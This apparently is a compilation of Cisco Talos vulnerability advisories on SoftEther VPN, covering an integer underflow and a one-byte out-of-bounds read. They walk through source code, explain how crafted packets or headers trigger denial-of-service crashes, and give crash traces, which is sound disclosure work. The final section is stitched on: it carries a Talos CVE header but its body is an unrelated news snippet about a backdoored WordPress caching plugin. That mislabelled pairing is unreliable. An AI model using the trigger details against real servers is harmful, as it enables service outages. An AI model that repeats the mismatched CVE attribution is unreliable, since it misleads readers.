Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-25774: TALOS-2023-1743 || Cisco Talos Intelligence Group

An integer underflow vulnerability exists in the vpnserver OvsProcessData functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**SUMMARY**

An integer underflow vulnerability exists in the vpnserver OvsProcessData functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service. An attacker can send a malicious packet to trigger this vulnerability.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 5.01.9674  
SoftEther VPN 5.02  
While 5.01.9674 is a development version, it is distributed at the time of writing by Ubuntu and other Debian-based distributions.

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-191 - Integer Underflow (Wrap or Wraparound)

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

Among the various VPN protocols that SoftEther can talk in, by default, OpenVPN code can be reached via any of the open TCP ports. Based on the start of the input buffer, we can either hit the OpenVPN code or the Wireguard code, or even the normal HTTPS server for management of the VPN configuration itself:

    bool ProtoHandleConnection(PROTO *proto, SOCK *sock, const char *protocol)
    {
        const PROTO_IMPL *impl;
        void *impl_data = NULL;
    
        UCHAR *buf;
        TCP_RAW_DATA *recv_raw_data;
        FIFO *send_fifo;
        INTERRUPT_MANAGER *im;
        SOCK_EVENT *se;
    
        if (proto == NULL || sock == NULL)
        {
            return false;
        }
    
        {
            const PROTO_CONTAINER *container = NULL;
            wchar_t *proto_name;
            LIST *options;
    
            if (protocol != NULL)
            {
                UINT i;
                for (i = 0; i < LIST_NUM(proto->Containers); ++i)
                {
                    const PROTO_CONTAINER *tmp = LIST_DATA(proto->Containers, i);
                    if (StrCmp(tmp->Name, protocol) == 0)
                    {
                        container = tmp;
                        break;
                    }
                }
            }
            else
            {
                UCHAR tmp[PROTO_CHECK_BUFFER_SIZE]; // 2 bytes
    
                if (Peek(sock, tmp, sizeof(tmp)) == 0)
                {
                    return false;
                }
    
                container = ProtoDetect(proto, PROTO_MODE_TCP, tmp, sizeof(tmp)); // [1] 
            }
    

Unless a protocol is explicitly passed to the ProtoHandleConnection function, we end up iterating over all the loaded proto->Containers and calling the container’s ProtoDetect() function at \[1\]:

    const PROTO_CONTAINER *ProtoDetect(const PROTO *proto, const PROTO_MODE mode, const UCHAR *data, const UINT size)
    {
        UINT i;
    
        if (proto == NULL || data == NULL || size == 0)
        {
            return NULL;
        }
    
        for (i = 0; i < LIST_NUM(proto->Containers); ++i)
        {
            const PROTO_CONTAINER *container = LIST_DATA(proto->Containers, i);
            const PROTO_IMPL *impl = container->Impl;
    
            if (ProtoEnabled(proto, container->Name) == false)
            {
                Debug("ProtoDetect(): skipping %s because it's disabled\n", container->Name);
                continue;
            }
    
            if (impl->IsPacketForMe != NULL && impl->IsPacketForMe(mode, data, size)) // [2]
            {
                Debug("ProtoDetect(): %s detected\n", container->Name);
                return container;
            }
        }
    
        Debug("ProtoDetect(): unrecognized protocol\n");
        return NULL;
    }
    

ProtoDetect() boils down to answering the question: Is this packet designated for this specific protocol? And so each container calls its Impl->IsPacketForMe at \[2\]. To understand what functions underpin the IsPacketForMe function pointer, let us quickly look to see where protocols actually get loaded:

    PROTO *ProtoNew(CEDAR *cedar)
    {
        PROTO *proto;
    
        if (cedar == NULL)
        {
            return NULL;
        }
    
        proto = Malloc(sizeof(PROTO));
        proto->Cedar = cedar;
        proto->Containers = NewList(ProtoContainerCompare);
        proto->Sessions = NewHashList(ProtoSessionHash, ProtoSessionCompare, 0, true);
    
        AddRef(cedar->ref);
    
        // WireGuard
        Add(proto->Containers, ProtoContainerNew(WgsGetProtoImpl()));   // [3]
        // OpenVPN
        Add(proto->Containers, ProtoContainerNew(OvsGetProtoImpl()));   // [4]
        // SSTP
        Add(proto->Containers, ProtoContainerNew(SstpGetProtoImpl()));  // [5]
    
        proto->UdpListener = NewUdpListener(ProtoHandleDatagrams, proto, &cedar->Server->ListenIP);
    
        return proto;
    }
    

Clearly written above, we can see that the only VPN protocols enabled by default in SoftEther are WireGuard \[3\], OpenVPN \[4\] and SSTP \[5\]. Since we only care about OpenVPN in this advisory, only the OvsGetProtoImpl function will follow:

    const PROTO_IMPL *OvsGetProtoImpl()
    {
        static const PROTO_IMPL impl =
        {
            OvsName,
            OvsOptions,
            NULL,
            OvsInit,
            OvsFree,
            OvsIsPacketForMe,
            OvsProcessData,
            OvsProcessDatagrams
        };
    
        return &impl;
    }
    

Wrapped by the most simple function, OvsGetProtoImpl() returns a set of function pointers to our proto->Containers. As such, we must now look at the OvsIsPacketForMe function and subsequently OvsProcessData:

    // Check whether it's an OpenVPN packet
    bool OvsIsPacketForMe(const PROTO_MODE mode, const void *data, const UINT size)
    {
        if (data == NULL || size < 2)
        {
            return false;
        }
    
        if (mode == PROTO_MODE_TCP)  // [6]
        {
            const UCHAR *raw = data;
            if (raw[0] == 0x00 && raw[1] == 0x0E)
            {
                return true;
            }
        }
        else if (mode == PROTO_MODE_UDP)
        {
            OPENVPN_PACKET *packet = OvsParsePacket(data, size);
            if (packet == NULL)
            {
                return false;
            }
    
            OvsFreePacket(packet);
            return true;
        }
    
        return false;
    }
    

Since we’re talking TCP, we hit the branch at \[6\]. The only thing that determines whether or not a packet is treated as OpenVPN traffic is if it starts with “\\x00\\x0E”. Continuing on, we now examine where the actual processing of data occurs in OvsProcessData:

    bool OvsProcessData(void *param, TCP_RAW_DATA *in, FIFO *out)
    {
        bool ret = true;
        UINT i;
        OPENVPN_SERVER *server = param;
        UCHAR buf[OPENVPN_TCP_MAX_PACKET_SIZE];  // 2000, 0x7d0  
    
        if (server == NULL || in == NULL || out == NULL)
        {
            return false;
        }
    
        // Separate to a list of datagrams by interpreting the data received from the TCP socket
        while (true)
        {
            UDPPACKET *packet;
            USHORT payload_size, packet_size;
            FIFO *fifo = in->Data;
            const UINT fifo_size = FifoSize(fifo);
    
            if (fifo_size < sizeof(USHORT))
            {
                // Non-arrival
                break;
            }
    
            // The beginning of a packet contains the data size
            payload_size = READ_USHORT(FifoPtr(fifo));           // [7]
            packet_size = payload_size + sizeof(USHORT);         // [8] 
    
            if (payload_size == 0 || packet_size > sizeof(buf))
            {
                ret = false;
                Debug("OvsProcessData(): Invalid payload size: %u bytes\n", payload_size);
                break;
            }
    
            if (fifo_size < packet_size) // fifo_size ends up being actual size of bytes recvd...
            {
                // Non-arrival
                break;
            }
    
    
        if (ReadFifo(fifo, buf, packet_size) != packet_size)    // [9]
        {
            ret = false;
            Debug("OvsProcessData(): ReadFifo() failed to read the packet\n");
            break;
        }
    
        // Insert packet into the list  // only a dos since we're oob'ing into thread stack data
        packet = NewUdpPacket(&in->SrcIP, in->SrcPort, &in->DstIP, in->DstPort, Clone(buf + sizeof(USHORT), payload_size), payload_size);  // [10]
        Add(server->RecvPacketList, packet);
    }
    
    // Process the list of received datagrams
    OvsRecvPacket(server, server->RecvPacketList, OPENVPN_PROTOCOL_TCP); // [11]
    

Starting out, because of our required “\\x00\\x0e” start to our packet, we hit the READ_USHORT at \[7\], and payload_size is naturally 0xe. The subsequent 0xe bytes get read in at \[9\], and then a UDP packet is created at \[10\] to pass the packet on for further processing at \[11\]. We need not go further, however, since the vulnerability lies plainly above. When hitting the next iteration of the while (true) loop, there is no requirement for our buffer to start with “\\x00\\x0e”. As such, if our next two bytes are, say, “\\xFF\\xFF”, then the payload_size gets set to 0xFFFF at \[7\], while the packet_size ushort gets set to 0x1 at \[8\]. Thus we read in a single byte at \[9\], which passes the return value check, and a new UDP packet is created with a length of payload_size at \[10\] (not packet_size).

While normally this would just read in out-of-bounds data from the buf stack buffer and pass it into further processing, since we’re in a linux thread, there’s usually a guard page at the bottom of the thread stack like so:

      0x7f5d00000000     0x7f5d00063000    0x63000        0x0  rw-p   // buf @ 0x7f5d00045abe
      0x7f5d486c6000     0x7f5d486c7000     0x1000        0x0  ---p   // guard pages
      0x7f5d486c7000     0x7f5d486f8000    0x31000        0x0  rw-p   // next thread 
    

Apparently the OvsProcessData function is not far up enough in the backtrace, and so our 0xFFFF read on the stack ends up hitting the guard page and causing a crash. This might behave differently if we are on a Windows SoftEther server; it has not been tested.

**Crash Information**

    Thread 22 "vpnserver" received signal SIGSEGV, Segmentation fault.
    [Switching to Thread 0x7f5d486c5380 (LWP 1214911)]
    __memmove_evex_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:708
    708     ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S: No such file or directory.
    <(^.^)>#bt
    #0  __memmove_evex_unaligned_erms () at ../sysdeps/x86_64/multiarch/memmove-vec-unaligned-erms.S:708
    #1  0x00007f5d49959e1c in Clone (addr=addr@entry=0x7f5d486c3e52, size=size@entry=65535) at /softether/SoftEtherVPN_orig/src/Mayaqua/Memory.c:3790
    #2  0x00007f5d49ae7253 in OvsProcessData (param=0x7f5d0001d710, in=0x7f5d0000fa40, out=0x7f5d0000bbe0) at /softether/SoftEtherVPN_orig/src/Cedar/Proto_OpenVPN.c:171
    #3  0x00007f5d49acfc0a in ProtoHandleConnection (proto=0x558a14d696d0, sock=sock@entry=0x7f5d1c007080, protocol=protocol@entry=0x0) at /softether/SoftEtherVPN_orig/src/Cedar/Proto.c:590
    #4  0x00007f5d49aa6213 in ConnectionAccept (c=c@entry=0x7f5d0000df40) at /softether/SoftEtherVPN_orig/src/Cedar/Connection.c:3027
    #5  0x00007f5d49ac3142 in TCPAcceptedThread (param=<optimized out>, t=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:181
    #6  TCPAcceptedThread (t=<optimized out>, param=<optimized out>) at /softether/SoftEtherVPN_orig/src/Cedar/Listener.c:140
    #7  0x00007f5d4995443d in ThreadPoolProc (param=0x7f5cfc00c730, t=0x7f5cfc00c500) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:872
    #8  ThreadPoolProc (t=0x7f5cfc00c500, param=0x7f5cfc00c730) at /softether/SoftEtherVPN_orig/src/Mayaqua/Kernel.c:827
    #9  0x00007f5d499907d1 in UnixDefaultThreadProc (param=0x7f5cfc0072e0) at /softether/SoftEtherVPN_orig/src/Mayaqua/Unix.c:1594
    #10 0x00007f5d49759b43 in start_thread (arg=<optimized out>) at ./nptl/pthread_create.c:442
    #11 0x00007f5d497eba00 in clone3 () at ../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    

**VENDOR RESPONSE**

Vendor pull request on Github: https://github.com/SoftEtherVPN/SoftEtherVPN/pull/1824

**TIMELINE**

2023-04-03 - Vendor Disclosure  
2023-04-03 - Initial Vendor Contact  
2023-04-17 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-22308: TALOS-2023-1737 || Cisco Talos Intelligence Group

A denial-of-service vulnerability exists in the vpnserver EnSafeHttpHeaderValueStr functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service.

**SUMMARY**

A denial-of-service vulnerability exists in the vpnserver EnSafeHttpHeaderValueStr functionality of SoftEther VPN 5.01.9674 and 5.02. A specially crafted network packet can lead to denial of service.

**CONFIRMED VULNERABLE VERSIONS**

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

SoftEther VPN 5.01.9674  
SoftEther VPN 5.02  
While 5.01.9674 is a development version, it is distributed at the time of writing by Ubuntu and other Debian-based distributions.

**PRODUCT URLS**

SoftEther VPN - https://www.softether.org/

**CVSSv3 SCORE**

7.5 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

**CWE**

CWE-125 - Out-of-bounds Read

**DETAILS**

SoftEther is a multi-platform VPN project that provides both server and client code to connect over a variety of VPN protocols, including Wireguard, PPTP, SSTP, L2TP, etc. SoftEther has a variety of features for both enterprise and personal use, and enables Nat Traversal out-of-the-box for remote-access setups behind firewalls.

To various ends, SoftEther VPN server accepts and parses HTTP connections by default on all of its configured TCP ports. Out of the box this means TCP ports 443, 992, 1194 and 5555. Assuming that our incoming packet does not look like any of the other supported TCP protocols, we eventually get to the ServerAccept function:

    // Server accepts a connection from client
    bool ServerAccept(CONNECTION *c)
    {
        bool ret = false;
        UINT err;
        PACK *p;
        char username_real[MAX_SIZE];
        char method[MAX_SIZE]; // 512
        char hubname[MAX_SIZE];
        char username[MAX_SIZE];
        char groupname[MAX_SIZE];
        UCHAR session_key[SHA1_SIZE];
        UCHAR ticket[SHA1_SIZE];
    
        // [...]
    
        // Validate arguments
        if (c == NULL)
        {
            return false;
        }
    
        // [...]
    
        // Receive the signature
        Debug("Downloading Signature...\n");
        error_detail_2 = NULL;
        if (ServerDownloadSignature(c, &error_detail_2) == false){  // [1] 
            //[...]
            goto CLEANUP;
        }
    

Assorted initialization and an unruly amount of stack variables are skipped just so we can quickly see the first branching piece of code we hit at \[1\] in ServerDownloadSignature:

    // Download the signature
    bool ServerDownloadSignature(CONNECTION *c, char **error_detail_str)
    {
        HTTP_HEADER *h;
        UCHAR *data;
        UINT data_size;
        SOCK *s;
        UINT num = 0, max = 19;
        SERVER *server;
        char *vpn_http_target = HTTP_VPN_TARGET2;
        // Validate arguments
        if (c == NULL)
        {
            return false;
        }
    
        server = c->Cedar->Server;
    
        s = c->FirstSock;          // [2]
    
        while (true)
        {
            bool not_found_error = false;
    
            num++;
            if (num > max)
            {
                // Disconnect
                Disconnect(s);
                c->Err = ERR_CLIENT_IS_NOT_VPN;
    
                *error_detail_str = "HTTP_TOO_MANY_REQUEST";
                return false;
            }
            // Receive a header
            h = RecvHttpHeader(s);  // [3]
            if (h == NULL)
            {
    
        // [...]
    

The SOCK *s variable is our client’s socket \[2\], which we then pass into the RecvHttpHeader function at \[3\] to actually read bytes and process the data:

    // Receive an HTTP header
    HTTP_HEADER *RecvHttpHeader(SOCK *s)
    {
        TOKEN_LIST *token = NULL;
        char *str = NULL;
        HTTP_HEADER *header = NULL;
        // Validate arguments
        if (s == NULL)
        {
            return NULL;
        }
    
        // Get the first line
        str = RecvLine(s, HTTP_HEADER_LINE_MAX_SIZE); // [4]
        if (str == NULL)
        {
            return NULL;
        }
    
        // Split into tokens
        token = ParseToken(str, " "); 
    
        FreeSafe(PTR_TO_PTR(str));
    
        if (token->NumTokens < 3)
        {
            FreeToken(token);
            return NULL;
        }
    
        // Creating a header object
        header = NewHttpHeader(token->Token[0], token->Token[1], token->Token[2]);
        FreeToken(token);
    
        if (StrCmpi(header->Version, "HTTP/0.9") == 0)
        {
            // The header ends with this line
            return header;
        }
    
        // Get the subsequent lines
        while (true)   
        {
            str = RecvLine(s, HTTP_HEADER_LINE_MAX_SIZE);  // [5]
            Trim(str);
            if (IsEmptyStr(str))
            {
                // End of header
                FreeSafe(PTR_TO_PTR(str)); 
                break;
            }
    
            if (AddHttpValueStr(header, str) == false) // [6] 
            {
                FreeSafe(PTR_TO_PTR(str)); 
                FreeHttpHeader(header);
                header = NULL;
                break;
            }
    
            FreeSafe(PTR_TO_PTR(str));
        }
    
        return header;
    }
    

To start, at \[4\], RecvLine reads in at max 0x1000 bytes or until it reads a “\\r\\n”. This line is split into the basic HTTP headers, and, assuming that’s all well and good, we enter the loop at \[5\] to continue reading the rest of the data. Again reading until 0x1000 bytes or “\\r\\n”, we take each line of the HTTP header and pass it into the AddHttpValueStr function at \[6\]. A quick digression before we delve into AddHttpValueStr: All of the parsed data is added into the HTTP_HEADER struct, which is just three pointers for the Method, Target and Version, and then a LIST * object which holds all of the actual HTTP headers:

    // HTTP header
    struct HTTP_HEADER
    {
        char *Method;                   // Method
        char *Target;                   // Target
        char *Version;                  // Version
        LIST *ValueList;                // Value list
    };
    

Continuing into AddHttpValueStr:

    // Adds the HTTP value contained in the string to the HTTP header
    bool AddHttpValueStr(HTTP_HEADER* header, char *string)
    {
        HTTP_VALUE *value = NULL;
        UINT pos = 0;
        char *value_name = NULL;
        char *value_data = NULL;
    
        // Validate arguments
        if (header == NULL || IsEmptyStr(string))
        {
            return false;
        }
    
        // Sanitize string
        EnSafeHttpHeaderValueStr(string, ' '); // [7]
    
        // Get the position of the colon
        pos = SearchStr(string, ":", 0);  // [8]
        if (pos == INFINITE)
        {
            // The colon does not exist
            return false;
        }
    
        if ((pos + 1) >= StrLen(string))
        {
            // There is no data
            return false;
        }
    
        // Divide into the name and the data
        value_name = Malloc(pos + 1);
        Copy(value_name, string, pos);
        value_name[pos] = 0;
        value_data = &string[pos + 1]; 
    
        value = NewHttpValue(value_name, value_data); // [9] 
        if (value == NULL)
        {
            Free(value_name);
            return false;
        }
    
        Free(value_name);
    
        AddHttpValue(header, value); // [10] 
    
        return true;
    }
    

At \[7\], there is some escaping and processing done on our char *string parameter that was passed in. Soon after, the string is separated at the colon \[8\], allocations are made to contain copies of the split string \[9\] and we finally add a new entry to the HTTP_HEADER->ValueList at \[10\]. We need not go much further, so let us examine the EnSafeHttpHeaderValueStr function to see how the input HTTP header string gets processed:

    // Replace '\r' and '\n' with the specified character.
    // If the specified character is a space (unsafe), the original character is removed.
    void EnSafeHttpHeaderValueStr(char *str, char replace)
    {
        UINT length = 0;
        UINT index = 0;
    
        // Validate arguments
        if (str == NULL)
        {
            return;
        }
    
        length = StrLen(str);
        while (index < length)
        {
            if (str[index] == '\r' || str[index] == '\n')
            {
                if (replace == ' ')
                {
                    Move(&str[index], &str[index + 1], length - index); // [11]
                }
                else
                {
                    str[index] = replace;
                }
            }
            else if (str[index] == '\\')
            {
                if (str[index + 1] == 'r' || str[index + 1] == 'n') 
                {
                    if (replace == ' ')
                    {
                        Move(&str[index], &str[index + 2], length - index); // [12]
                        index--;   
                    }             
                    else
                    {
                        str[index] = str[index + 1] = replace;
                        index++;
                    }
                }
            }
            index++;
        }
    }
    

To sum up this function, each character is checked to see if there’s a “\\r”, “\\n”, “\\\\r” or “\\\\n”. If there is, it is replaced with the char replace, or the entire string is shifted backwards by one or two bytes. While the code at \[11\] is valid because the char *str parameter is null terminated, and as such can never read out of bounds, the line at \[12\] is a different story. Since our Move function copies from [index + 2] and the length is length - index, every copy this line makes will hit the null terminator and the byte immediately after. As such, any HTTP header passed into this function that contains a “\\\\r” or “\\\\n” will cause a one-byte out-of-bounds read to happen. And at least for the code path we have followed above, our input char *str is allocated on the heap, which means that with very careful heap manipulation, we can cause this single byte to be the first byte of an unmapped page or non-readable page in memory, resulting in a server crash and denial of service.

**Crash Information**

    SUMMARY: UndefinedBehaviorSanitizer: undefined-behavior /softether/SoftEtherVPN/src/Mayaqua/Encrypt.c:4725:20 in 
    =================================================================
    ==89041==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6040001a58bb at pc 0x565370d9394f bp 0x7f2598180410 sp 0x7f259817fbe0
    READ of size 26 at 0x6040001a58bb thread T30
        #0 0x565370d9394e in __asan_memmove (/softether/asan_build/vpnserver+0xa094e) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c6e1099 in Move /softether/SoftEtherVPN/src/Mayaqua/Memory.c:3822:2
        #2 0x7f259c7e4218 in EnSafeHttpHeaderValueStr /softether/SoftEtherVPN/src/Mayaqua/Str.c:2082:6
        #3 0x7f259c689be1 in AddHttpValueStr /softether/SoftEtherVPN/src/Mayaqua/HTTP.c:929:2
        #4 0x7f259c68b890 in RecvHttpHeader /softether/SoftEtherVPN/src/Mayaqua/HTTP.c:1145:7
        #5 0x7f259d94168b in ServerDownloadSignature /softether/SoftEtherVPN/src/Cedar/Protocol.c:5791:7
        #6 0x7f259d91dc91 in ServerAccept /softether/SoftEtherVPN/src/Cedar/Protocol.c:1228:6
        #7 0x7f259d677def in ConnectionAccept /softether/SoftEtherVPN/src/Cedar/Connection.c:3077:6
        #8 0x7f259d760478 in TCPAcceptedThread /softether/SoftEtherVPN/src/Cedar/Listener.c:181:2
        #9 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #10 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #11 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
        #12 0x7f259c1269ff  misc/../sysdeps/unix/sysv/linux/x86_64/clone3.S:81
    
    0x6040001a58bb is located 0 bytes to the right of 43-byte region [0x6040001a5890,0x6040001a58bb)
    allocated by thread T30 here:
        #0 0x565370d941ce in malloc (/softether/asan_build/vpnserver+0xa11ce) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83b386 in UnixMemoryAlloc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2043:6
        #2 0x7f259c6dfb9e in InternalMalloc /softether/SoftEtherVPN/src/Mayaqua/Memory.c:3692:10
        #3 0x7f259c6df2da in MallocEx /softether/SoftEtherVPN/src/Mayaqua/Memory.c:3523:8
        #4 0x7f259c793df1 in RecvLine /softether/SoftEtherVPN/src/Mayaqua/Network.c:19506:11
        #5 0x7f259c68b8aa in RecvHttpHeader /softether/SoftEtherVPN/src/Mayaqua/HTTP.c:1136:9
        #6 0x7f259d94168b in ServerDownloadSignature /softether/SoftEtherVPN/src/Cedar/Protocol.c:5791:7
        #7 0x7f259d91dc91 in ServerAccept /softether/SoftEtherVPN/src/Cedar/Protocol.c:1228:6
        #8 0x7f259d677def in ConnectionAccept /softether/SoftEtherVPN/src/Cedar/Connection.c:3077:6
        #9 0x7f259d760478 in TCPAcceptedThread /softether/SoftEtherVPN/src/Cedar/Listener.c:181:2
        #10 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #11 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #12 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
    
    Thread T30 created by T27 here:
        #0 0x565370d7d64c in __interceptor_pthread_create (/softether/asan_build/vpnserver+0x8a64c) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83d677 in UnixInitThread /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1673:6
        #2 0x7f259c6ae087 in NewThreadInternal /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:1200:7
        #3 0x7f259c6ad525 in NewThreadNamed /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:997:10
        #4 0x7f259c770bcb in ConnectEx5 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14692:8
        #5 0x7f259c7279e7 in ConnectEx4 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14556:9
        #6 0x7f259c7279e7 in ConnectEx3 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14552:9
        #7 0x7f259c7279e7 in ConnectEx2 /softether/SoftEtherVPN/src/Mayaqua/Network.c:14548:9
        #8 0x7f259c7279e7 in ConnectEx /softether/SoftEtherVPN/src/Mayaqua/Network.c:14544:9
        #9 0x7f259c7279e7 in GetMyPrivateIP /softether/SoftEtherVPN/src/Mayaqua/Network.c:4405:6
        #10 0x7f259c726e32 in RUDPIpQueryThread /softether/SoftEtherVPN/src/Mayaqua/Network.c:4345:8
        #11 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #12 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #13 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
    
    Thread T27 created by T25 here:
        #0 0x565370d7d64c in __interceptor_pthread_create (/softether/asan_build/vpnserver+0x8a64c) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83d677 in UnixInitThread /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1673:6
        #2 0x7f259c6ae087 in NewThreadInternal /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:1200:7
        #3 0x7f259c6ad525 in NewThreadNamed /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:997:10
        #4 0x7f259c72f950 in NewRUDP /softether/SoftEtherVPN/src/Mayaqua/Network.c:5351:22
        #5 0x7f259c71bdf2 in NewRUDPServer /softether/SoftEtherVPN/src/Mayaqua/Network.c:5178:6
        #6 0x7f259c71bdf2 in ListenRUDPEx /softether/SoftEtherVPN/src/Mayaqua/Network.c:2504:6
        #7 0x7f259d7632cb in ListenerTCPMainLoop /softether/SoftEtherVPN/src/Cedar/Listener.c:405:9
        #8 0x7f259d765924 in ListenerThread /softether/SoftEtherVPN/src/Cedar/Listener.c:563:3
        #9 0x7f259c6ac632 in ThreadPoolProc /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:872:3
        #10 0x7f259c844b63 in UnixDefaultThreadProc /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1594:2
        #11 0x7f259c094b42 in start_thread nptl/./nptl/pthread_create.c:442:8
    
    Thread T25 created by T0 here:
        #0 0x565370d7d64c in __interceptor_pthread_create (/softether/asan_build/vpnserver+0x8a64c) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a)
        #1 0x7f259c83d677 in UnixInitThread /softether/SoftEtherVPN/src/Mayaqua/Unix.c:1673:6
        #2 0x7f259c6ae087 in NewThreadInternal /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:1200:7
        #3 0x7f259c6ad525 in NewThreadNamed /softether/SoftEtherVPN/src/Mayaqua/Kernel.c:997:10
        #4 0x7f259d768069 in NewListenerEx5 /softether/SoftEtherVPN/src/Cedar/Listener.c:821:6
        #5 0x7f259d76799e in NewListenerEx4 /softether/SoftEtherVPN/src/Cedar/Listener.c:772:9
        #6 0x7f259da20f4b in SiNewServerEx /softether/SoftEtherVPN/src/Cedar/Server.c:10934:10
        #7 0x7f259d9e8e51 in SiNewServer /softether/SoftEtherVPN/src/Cedar/Server.c:10795:9
        #8 0x7f259d9e8e51 in StStartServer /softether/SoftEtherVPN/src/Cedar/Server.c:6696:12
        #9 0x7f259c848901 in UnixExecService /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2560:3
        #10 0x7f259c849566 in UnixServiceMain /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2765:3
        #11 0x7f259c84917a in UnixService /softether/SoftEtherVPN/src/Mayaqua/Unix.c:2679:5
        #12 0x7f259c029d8f in __libc_start_call_main csu/../sysdeps/nptl/libc_start_call_main.h:58:16
    
    SUMMARY: AddressSanitizer: heap-buffer-overflow (/softether/asan_build/vpnserver+0xa094e) (BuildId: 78a21100df0def7d4dc91631945f35b3269dac3a) in __asan_memmove
    Shadow bytes around the buggy address:
      0x0c088002cac0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 00
      0x0c088002cad0: fa fa fd fd fd fd fd fa fa fa 00 00 00 00 00 02
      0x0c088002cae0: fa fa fd fd fd fd fd fd fa fa fd fd fd fd fd fa
      0x0c088002caf0: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
      0x0c088002cb00: fa fa fd fd fd fd fd fa fa fa fd fd fd fd fd fa
    =>0x0c088002cb10: fa fa 00 00 00 00 00[03]fa fa fd fd fd fd fd fd
      0x0c088002cb20: fa fa fd fd fd fd fd fd fa fa fa fa fa fa fa fa
      0x0c088002cb30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c088002cb40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c088002cb50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
      0x0c088002cb60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
    Shadow byte legend (one shadow byte represents 8 application bytes):
      Addressable:           00
      Partially addressable: 01 02 03 04 05 06 07 
      Heap left redzone:       fa
      Freed heap region:       fd
      Stack left redzone:      f1
      Stack mid redzone:       f2
      Stack right redzone:     f3
      Stack after return:      f5
      Stack use after scope:   f8
      Global redzone:          f9
      Global init order:       f6
      Poisoned by user:        f7
      Container overflow:      fc
      Array cookie:            ac
      Intra object redzone:    bb
      ASan internal:           fe
      Left alloca redzone:     ca
      Right alloca redzone:    cb
    ==89041==ABORTING
    

**VENDOR RESPONSE**

Vendor pull request on Github: https://github.com/SoftEtherVPN/SoftEtherVPN/pull/1829

**TIMELINE**

2023-04-11 - Vendor Disclosure  
2023-04-22 - Vendor Patch Release  
2023-10-12 - Public Release

Discovered by Lilith >\_> of Cisco Talos.

CVE-2023-23581: TALOS-2023-1741 || Cisco Talos Intelligence Group

Evasive malware disguised as a caching plug-in allows attackers to create an admin account on a WordPress site, then take over and monetize sites at the expense of legitimate SEO and user privacy.

Sophisticated malware capable of creating an administration account for a website is lurking behind an authentic-looking WordPress caching plug-in, giving threat actors a way to completely hijack infected websites at will.

Researchers from Wordfence discovered the plug-in, which can perform a variety of malicious tasks while masquerading as legitimate add-on software for the WordPress platform, they revealed in a blog post Oct. 11. Chief among this activity is the ability to create an admin account and remotely activate plug-ins — basically giving threat actors free rein over infected sites.

The backdoor can work both as a standalone script and also as a plug-in, with features like remote plug-in activation and conditional content filtering that give it evasion capabilities difficult for inexperienced users to detect.

